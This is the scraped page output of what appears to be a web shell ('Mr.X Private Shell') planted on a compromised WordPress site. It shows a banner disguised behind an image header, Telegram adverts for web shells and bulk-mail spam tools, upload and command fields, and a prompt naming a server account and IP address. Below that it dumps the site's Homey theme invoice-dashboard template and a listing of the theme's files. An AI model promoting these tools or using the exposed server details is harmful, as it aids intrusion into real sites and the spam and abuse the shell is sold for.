����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

airtcsob@216.73.216.143: ~ $
<?php
/**
 * Template Name: Dashboard Invoices
 */
if ( !is_user_logged_in() ) {
    wp_redirect(  home_url('/') );
}

get_header();

global $paged, $homey_local, $current_user, $dashboard_invoices;

wp_get_current_user();
$userID         = $current_user->ID;
$user_login     = $current_user->user_login;
$dashboard_invoices = homey_get_template_link_dash('template/dashboard-invoices.php');

$is_detail = false;

if( isset( $_GET['invoice_id']) && !empty($_GET['invoice_id']) ) {
    $is_detail = true;
}

if ( is_front_page()  ) {
    $paged = (get_query_var('page')) ? get_query_var('page') : 1;
}

$invoices_content = '';

if( ! isset( $_GET['invoice_id']) ) {
    
    $meta_query = array();

    $invoices_args = array(
        'post_type' => 'homey_invoice',
        'posts_per_page' => '9',
        'paged' => $paged,
        'order' => 'DSC'
    );

    if(homey_is_renter()) {
        $meta_query[] = array(
            'key' => 'homey_invoice_buyer',
            'value' => $userID,
            'compare' => '='
        );
    } else {
        if(!homey_is_admin()){
            $meta_query[] = array(
                'key' => 'homey_invoice_buyer',
                'value' => $userID,
                'compare' => '='
            );
            $meta_query[] = array(
                'key' => 'invoice_resv_owner',
                'value' => $userID,
                'compare' => '='
            );
            $meta_query['relation'] = 'OR';
        }
    }

    $invoices_args['meta_query'] = $meta_query;

    $invoice_query = new WP_Query($invoices_args);
    $total = 0;
}
?>

<section id="body-area">

    <div class="dashboard-page-title">
        <h1><?php echo esc_html__(the_title('', '', false), 'homey'); ?></h1>
    </div><!-- .dashboard-page-title -->

    <?php get_template_part('template-parts/dashboard/side-menu'); ?>

    <div class="user-dashboard-right <?php if($is_detail){ echo 'dashboard-with-sidebar'; } else { echo 'dashboard-without-sidebar';} ?>">
        <div class="dashboard-content-area">
            <div class="container-fluid">
                <div class="row">
                    <div class="col-lg-12 col-md-12 col-sm-12">
                        <div class="dashboard-area">

                            <?php
                            if($is_detail) {
                                $invoice_meta = homey_exp_get_invoice_meta( $_GET['invoice_id'] );

                                if( isset($invoice_meta['invoice_for_experience']) && $invoice_meta['invoice_for_experience'] > 0 ) {
                                    get_template_part('template-parts/dashboard/invoices/experiences/detail');
                                } else {
                                    get_template_part('template-parts/dashboard/invoices/detail');
                                }
                            } else { ?>

                            <div class="block">
                                <div class="block-title">
                                    <h2 class="title"><?php echo esc_attr($homey_local['manage_label']); ?></h2>
                                </div>
                                
                                <?php
                                get_template_part('template-parts/dashboard/invoices/search'); ?>

                                <div class="table-block dashboard-reservation-table dashboard-table">
                                    <table class="table table-hover">
                                        <thead>
                                            <tr>
                                                <th><?php echo esc_attr($homey_local['order']); ?></th>
                                                <th><?php echo esc_attr($homey_local['inv_date']); ?></th>
                                                <th><?php echo esc_attr($homey_local['billing_for']); ?></th>
                                                <th><?php echo esc_attr($homey_local['billing_type']); ?></th>
                                                <th><?php echo esc_attr($homey_local['inv_status']); ?></th>
                                                <th><?php echo esc_attr($homey_local['inv_pay_method']); ?></th>
                                                <th><?php echo esc_attr($homey_local['inv_total']); ?></th>
                                                <th><?php echo esc_attr($homey_local['inv_actions']); ?></th>
                                            </tr>
                                        </thead>
                                        <tbody id="invoices_content">
                                            <?php 
                                            if( ! isset( $_GET['invoice_id']) ) {
                                                if ($invoice_query->have_posts()) :
                                                    while ($invoice_query->have_posts()) : $invoice_query->the_post();
                                                        $invoice_meta = homey_exp_get_invoice_meta(get_the_ID());
                                                        if($invoice_meta['invoice_for_experience'] > 0) {
                                                            get_template_part('template-parts/dashboard/invoices/experiences/item');
                                                        }else{
                                                            get_template_part('template-parts/dashboard/invoices/item');
                                                        }

                                                        $total += $invoice_meta['invoice_item_price'] > 0 ?  $invoice_meta['invoice_item_price'] : 0;

                                                    endwhile; endif;
                                                wp_reset_postdata();
                                            }
                                            ?>
                                        </tbody>
                                    </table>
                                </div>
                            </div><!-- .block --> 
                            <?php } ?>   
                            <?php 
                            if(!$is_detail) {
                                homey_pagination( $invoice_query->max_num_pages, $range = 2 ); 
                            }
                            ?>
                        </div><!-- .dashboard-area -->
                    </div><!-- col-lg-12 col-md-12 col-sm-12 -->
                </div>
            </div><!-- .container-fluid -->
        </div><!-- .dashboard-content-area -->  

        <?php if($is_detail) { ?>
        <aside class="dashboard-sidebar">
            <?php
            $inv_id_class = "invoice-print-button";
            if( isset($invoice_meta['invoice_for_experience']) && $invoice_meta['invoice_for_experience'] > 0 ) {
                $inv_id_class = "invoice-exp-print-button";
            }
            ?>
            <a href="#" id="<?php echo $inv_id_class; ?>" data-id="<?php echo intval($_GET['invoice_id']); ?>" class="btn btn-grey btn-full-width"><?php echo esc_html__('Print', 'homey'); ?></a>
            <a href="<?php echo esc_url($dashboard_invoices); ?>" class="btn btn-secondary btn-full-width"><?php echo esc_html__('Go back', 'homey'); ?></a>
        </aside><!-- .dashboard-sidebar -->   
        <?php } ?>

    </div><!-- .user-dashboard-right -->


</section><!-- #body-area -->


<?php get_footer(' ');

Filemanager

Name Type Size Permission Actions
dashboard-exp-payment.php File 16.95 KB 0644
dashboard-experience-submission.php File 8.29 KB 0644
dashboard-experience-submitted.php File 5.79 KB 0644
dashboard-experiences.php File 11.37 KB 0644
dashboard-favorites.php File 8.54 KB 0644
dashboard-invoices.php File 7.31 KB 0644
dashboard-listing-submitted.php File 6.84 KB 0644
dashboard-listings.php File 11.73 KB 0644
dashboard-membership-host.php File 11.66 KB 0644
dashboard-messages.php File 7.17 KB 0644
dashboard-payment.php File 16.84 KB 0644
dashboard-profile.php File 6.08 KB 0644
dashboard-reservations-experiences.php File 6.85 KB 0644
dashboard-reservations.php File 9.61 KB 0644
dashboard-reservations2-experiences.php File 1.16 KB 0644
dashboard-reservations2.php File 2.29 KB 0644
dashboard-submission.php File 7.79 KB 0644
dashboard-wallet.php File 4.39 KB 0644
dashboard.php File 2.75 KB 0644
template-compare-exp.php File 6.68 KB 0644
template-compare.php File 10.05 KB 0644
template-exp-search.php File 531 B 0644
template-experience-card.php File 6.54 KB 0644
template-experience-grid.php File 6.33 KB 0644
template-experience-list.php File 6.22 KB 0644
template-experience-sticky-map.php File 6.37 KB 0644
template-half-map-exp.php File 2.19 KB 0644
template-half-map.php File 2.17 KB 0644
template-homepage.php File 618 B 0644
template-ical-exp.php File 1.72 KB 0644
template-ical.php File 1.77 KB 0644
template-instance-booking.php File 1.06 KB 0644
template-instance-exp-booking.php File 831 B 0644
template-listing-all-reviews.php File 4.13 KB 0644
template-listing-as-page.php File 298 B 0644
template-listing-card.php File 6.7 KB 0644
template-listing-grid-v2.php File 7.03 KB 0644
template-listing-grid.php File 6.74 KB 0644
template-listing-list-v2.php File 6.74 KB 0644
template-listing-list.php File 6.34 KB 0644
template-listing-sticky-map.php File 6.58 KB 0644
template-membership-webhook.php File 37.93 KB 0644
template-page.php File 2.61 KB 0644
template-search.php File 495 B 0644
template-splash-exp.php File 3.74 KB 0644
template-splash.php File 3.35 KB 0644
template-stripe-charge-exp.php File 7.4 KB 0644
template-stripe-charge.php File 11.83 KB 0644
template-subscriptions-payment-complete.php File 23 KB 0644
template-subscriptions-stripe-charge.php File 3.98 KB 0644
template-verification.php File 2.76 KB 0644
template-woocommerce.php File 2.02 KB 0644
testing.php File 87 B 0644